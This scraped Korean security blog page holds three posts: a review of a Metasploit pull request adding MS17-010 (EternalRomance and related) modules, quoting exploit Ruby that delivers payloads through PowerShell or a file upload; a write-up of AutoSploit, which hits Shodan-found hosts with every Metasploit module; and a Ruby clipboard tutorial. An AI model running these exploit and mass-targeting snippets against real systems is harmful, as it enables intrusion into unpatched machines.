402192ƒ%C6%92&#x192;latin small f with hook - functionCF_402
82112013%E2%80%93&#x2013;en dashCF_8211
82122014%E2%80%94&#x2014;em dashCF_8212
82162018%E2%80%98&#x2018;left single quotation markCF_8216
82172019%E2%80%99&#x2019;right single quotation markCF_8217
8218201A%E2%80%9A&#x201A;single low-9 quotation markCF_8218
8220201C%E2%80%9C&#x201C;left double quotation markCF_8220
8221201D%E2%80%9D&#x201D;right double quotation markCF_8221
8222201E%E2%80%9E&#x201E;double low-9 quotation markCF_8222
82242020%E2%80%A0&#x2020;daggerCF_8224
82252021%E2%80%A1&#x2021;double daggerCF_8225
82262022%E2%80%A2&#x2022;bulletCF_8226
82302026%E2%80%A6&#x2026;horizontal ellipsisCF_8230
82402030%E2%80%B0&#x2030;per thousand signCF_8240
836420AC%E2%82%AC&#x20AC;&euro;euro signCF_8364
84822122%E2%84%A2&#x2122;trade mark signCF_8482
Share: | Coffee Me:

2/06/2018

[METASPLOIT] MS17-010 Auxiliary&Exploit Modules(EternalSynergy / EternalRomance / EternalChampion)

지난 주말 Rapid7 github를 둘러보다가 재미있는 Metasploit 내 재미있는 pull request를 보았었습니다.

(https://github.com/rapid7/metasploit-framework/pull/9473)

Shadow Brokers 가 공개한 Eternal 시리즈에 대한 취약점을 Metasploit Module화하여 여러 윈도우 대상으로 테스팅한 결과입니다. 어떤 내용인지 살펴보도록 하죠.

https://twitter.com/zerosum0x0/status/957839430777057280

EternalSynergy / EternalRomance / EternalChampion

우선 Shadow Brokers 사건때 같이 이야기나온 취약점들입니다. SMB Protocol에 관한 문제이며 여러 악성코드, 사건에서도 많이 사용됬었습니다. (대표적으로 워너크라이 랜섬)

현재도 미패치 PC를 심심찮게 찾아볼 수 있을거고 공격이 성공할 가능성도 높은 취약점입니다. (얼마나 패치를 잘 안하면..)

예전에 제가 간단하게 작성한 글과 다른 링크들 추가하니 궁금하시면 참고해주세요.

EternalBlue
http://www.hahwul.com/2017/05/hacking-eternalblue-vulnerability-and.html

현재까지 Metasploit 모듈에는 EternalBlue 하나만 추가되어 있었습니다.

zerosum0x0(zerosum0x0.blogspot.com)이 Metasploit쪽으로 git pull request를 하나 날렸습니다. 이는 위에서 이야기드린 Eternal 시리즈에 대한 Auxiliary 모듈과 Exploit 모듈입니다.


https://github.com/rapid7/metasploit-framework/search?l=Ruby&q=Eternal&type=&utf8=%E2%9C%93

이 모듈들은 MS17-010(EternalSynergy / EternalRomance / EternalChampion)에 대한 테스트/익스플로잇 모듈입니다. EternalBlue 이후 처음으로 추가된 모듈이죠.

pull request를 보면서 몇가지 재미있는점이 있었습니다.

재미있는점1 - Exploiting 과정 변화

기존에 EternalBlue Module은 Shellcode를 사용하였지만 이번 Exploit module들은 SMB Connection session을 overwrite 하는 방식으로 바로 admin 권한을 가져갈 수 있습니다.

그 대신.. 몇가지 리스크가 따르는데요, Powershell 사용하고 FIle이 생성될 수 있기 때문에 EternalBlue Module에 비해선 백신 등 보안장비에 탐지될 확률이 높다는 점입니다.

  def smb_pwn()
    case target.name
    when 'Automatic'
      if powershell_installed?   # 파워쉘 설치여부 확인
        print_status('Selecting PowerShell target')
        powershell  #설치되었다면 파워쉘
      else
        print_status('Selecting native target')
        native_upload   #미 설치 시 파일 생성
      end
    when 'PowerShell'
      powershell
    when 'Native upload'
      native_upload
    when 'MOF upload'
      mof_upload
    end

    handler
  end


  def powershell
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue StandardError => exec_command_error
      fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
    end
  end

  def native_upload
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
    serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''

    # Upload the shellcode to a file
    print_status("Uploading payload...")
    smbshare = datastore['SHARE']
    fileprefix = ""
    # if SHARE = Users/sasha/ or something like this
    if smbshare =~ /.[\\\/]/
      subfolder = true
      smbshare = datastore['SHARE'].dup

재미있는점2 - SMB Library 변경

commit 내용에 보면 이런 부분이 있습니다.

Changes to MSF Lib
The exploit needs a smaller SMB Max Buffer Size than the hard-coded values in the Rex SMB proto client libraries. I exposed this as a public member that defaults to the old value. Existing code should not be broken.

Most of the exploit code is in a new mix-in (to be shared for the aux and exploit).

Metasploit에서 제공하는 SMB 모듈의 최소 버퍼 사이즈보다 더 작은 값이 필요해서.. 변경했다고하네요.


https://github.com/RiskSense-Ops/metasploit-framework/blob/ffc7e078e26b5c46f05b19c3e39067658ef977f6/lib/rex/proto/smb/client.rb

굉장히 간단합니다. 기존에는 0xffdf (SMB크기) 값이 코드에 하드코딩되어 들어갔지만 이를 Option 변수로 빼주고 유동적으로 바꿀 수 있게 코드를 수정했습니다.

기존
pkt['Payload'].v['MaxBuff'] = 0xffdf

변경
self.default_max_buffer_size = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size

덕분에 SMB 관련해서 혹시라도 버퍼 조정이 필요하면 직접 손안대고 바꿀 수 있겠네요.
Author의 많은 고민이 느껴집니다..
(혹시라도 SMB 최소값을 더 내려서 하드코딩 했다면 다른 모듈들에서 문제가 생겼을 수도 있겠네요)


재미있는점3 - 힘을 합쳐 테스팅하다

테스팅 대상이였던 Windows 2000 ~ Windows server 2016 사이에는 굉장히 많은 OS Version들이 존재합니다. 

  •  Windows 2000 SP0 x86
  •  Windows 2000 Professional SP4 x86
  •  Windows 2000 Advanced Server SP4 x86
  •  Windows XP SP0 x86
  •  Windows XP SP1 x86
  •  Windows XP SP2 x86
  •  Windows XP SP3 x86
  •  Windows XP SP2 x64
  •  Windows Server 2003 SP0 x86
  •  Windows Server 2003 SP1 x86
  •  Windows Server 2003 Enterprise SP 2 x86
  •  Windows Server 2003 SP1 x64
  •  Windows Server 2003 R2 SP1 x86
  •  Windows Server 2003 R2 SP2 x86
  •  Windows Vista Home Premium x86
  •  Windows Vista x64
  •  Windows Server 2008 SP1 x86
  •  Windows Server 2008 x64
  •  Windows 7 x86
  •  Windows 7 Ultimate SP1 x86
  •  Windows 7 Enterprise SP1 x86
  •  Windows 7 SP0 x64
  •  Windows 7 SP1 x64
  •  Windows Server 2008 R2 x64
  •  Windows Server 2008 R2 SP1 x64
  •  Windows 8 x86
  •  Windows 8 x64
  •  Windows Server 2012 x64
  •  Windows 8.1 Enterprise Evaluation 9600 x86
  •  Windows 8.1 SP1 x86
  •  Windows 8.1 x64
  •  Windows 8.1 SP1 x64
  •  Windows Server 2012 R2 x86
  •  Windows Server 2012 R2 Standard 9600 x64
  •  Windows Server 2012 R2 SP1 x64
  •  Windows 10 Enterprise 10.10240 x86
  •  Windows 10 Enterprise 10.10240 x64
  •  Windows 10 10.10586 x86
  •  Windows 10 10.10586 x64
  •  Windows Server 2016 10.10586 x64
  •  Windows 10 10.0.14393 x86
  •  Windows 10 Enterprise Evaluation 10.14393 x64
  •  Windows Server 2016 Data Center 10.14393 x64
혼자서 모든 버전의 가상 환경을 만들고 테스트하기는 버겁습니다. 
그래서... 여건이 되는분들끼리 테스트하고 결과를 공유하더군요. 인상깊었습니다.


Exploiting & Conclusion

이미 공식 패치가 내려가서 따로 코드를 안받아도 적용이 되어있습니다.
그래서 바로 테스트해볼가 했지만.. 오늘은 좀 쉬고, 이번주중으로 작성해서 추가하도록 하겠습니다. (저도 잠은 자야죠....)

pull request 하나 보면서 여러가지 생각이 들었습니다. 코드 내용, 사람들끼리 소통보면서 참 재미있었네요. 


Reference

Share: | Coffee Me:

2/04/2018

[HACKING] Shodan API와 Metasploit을 이용한 Exploiting script - AutoSploit

원래 LanGhost 내용으로 글 써볼까 헀다가.. (절대 라즈베리파이 키기 귀찮아서 그런게 아닙니다.... 관심있으시면 우선 구글링 고고) 급 주제를 바꾸어 툴 하나에 대해 이야기하도록 하죠.
오늘은 이번주에 나름 핫했던.. AutoSploit입니다.



What is AutoSploit?

AutoSploit은 원격 호스트에 대한 자동 서칭, Exploit 툴, 스크립트 정도로 생각하시면 좋을 것 같습니다. 파이썬 기반의 코드이며 Shodan을 이용해서 임의의 대상을 선정하고, Metasploit 모듈로 Exploiting 합니다.

자동을 대상을 선정하고, 공격하고, 권한을 획득할 수 있다는 점에서 조금 위험한 툴로 보입니다만..  이미 350명이 넘는 사람이 fork 중이네요. (물론 저도..)



File tree
.
├── Docker
│   ├── Dockerfile
│   ├── README.md
│   └── database.yml
├── LICENSE
├── README.md
├── autosploit.py        // Main code
├── modules.txt          // Msf module list
└── requirements.txt  // 추가 요청한거


How to install?

저장소에서 다운로드합니다.

#> git clone https://github.com/NullArray/AutoSploit
#> cd AutoSploit

필요한 라이브러리 설치가 필요합니다.shodan과 blessings 입니다.

#> pip install shodan
#> pip install blessings

pull request를 하나 던져놓긴했는데.. 혹시라도 된다면

pip install -r requirements.txt로 되겠지요.


Metasploit 어떻게 연결했을까?

처음에 툴 내용을 대충보았을땐 Metasploit과 직접 연동되는걸까 라는 생각에 설레였습니다.
쓸만한 데이터가 있을까 코드를 보았는데요..  단순하게 msfonsole command line으로 값을 넘기는 형태입니다.

 elif choice == 'a':
  with open( "hosts.txt", "rb" ) as host_list:
   for rhosts in host_list:
    for exploit in all_modules:
     template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit)
     os.system(template)

재미있는 코드를 기대했지만 조금 아쉬운감이 있었습니다.

Conclusion

이런 종류의 프로젝트나 툴들은 많이 있었을겁니다. 다만 kitploit이나 thehackernews등 매체를 통해서 수면위로 올라온 이상 이를 사용하는 사람들도 분명히 늘어날 것이라 생각됩니다.

윤리적이나 개인의 기술적 발전이나.. 사용하는 것 자체는 추천드리진 않습니다. 그저 이런게 있구나... 하고 알아가시면 좋을 것 같단 생각에 포스팅합니다.
(어차피 침투과정 연습하시는거라도 직접하는게 더 정확하고, 결과도 좋을겁니다)


Share: | Coffee Me:

2/03/2018

[RUBY] 클립보드에 데이터를 복사하자! clipboard gem

예전에 python의 tkinter 라이브러리를 이용해서 clipboard 제어하고 간단한 프로그램 만드는 이야기를 했었습니다.
(http://www.hahwul.com/2016/06/python-tkinter-module-clipboard.html)

간만에 그 글을 보다보니.. 그때 참 불편하게 만들었더라구요. 니즈도 있고해서 ruby로 다시 하나 짜두려고 합니다. 겸사겸사 블로그로 기록 남겨둡니다.

아주 심플하기 때문에 대충 봐도도 도움되는 날이 올꺼라 생각됩니다.

Install clipboard library 


#> gem install clipboard
#> irb
irb(main):001:0> require 'clipboard'
=> true

Clipboard

딱 3가지 메소드를 지원합니다.

 - Clipboard.copy : 복사
 - Clipboard.paste : 붙여넣기
 - Clipboard.clear : 초기화
e.g
require 'clipboard'

#"Copy me!" 를 복사합니다.
Clipboard.copy("Copy me!")

#  복사한 내용을 붙여넣습니다. encode 메소드로 인코딩을 변경할 수 있습니다.
# 기본 인코딩이 UTF-8이 아니기 떄문에 한글 데이터 고려해선 UTF-8을 기본적으로 쓰는게 좋지요.
Clipboard.paste.encode("UTF-8")

# 클립보드를 지워야할떄 clear 해줍니다.
Clipboard.clear()

simple copy to file to clipboardf

이것도 은근 필요하다 느껴서 대충 만드는 중입니다. File to Clipboard

https://github.com/hahwul/ftc

Share: | Coffee Me: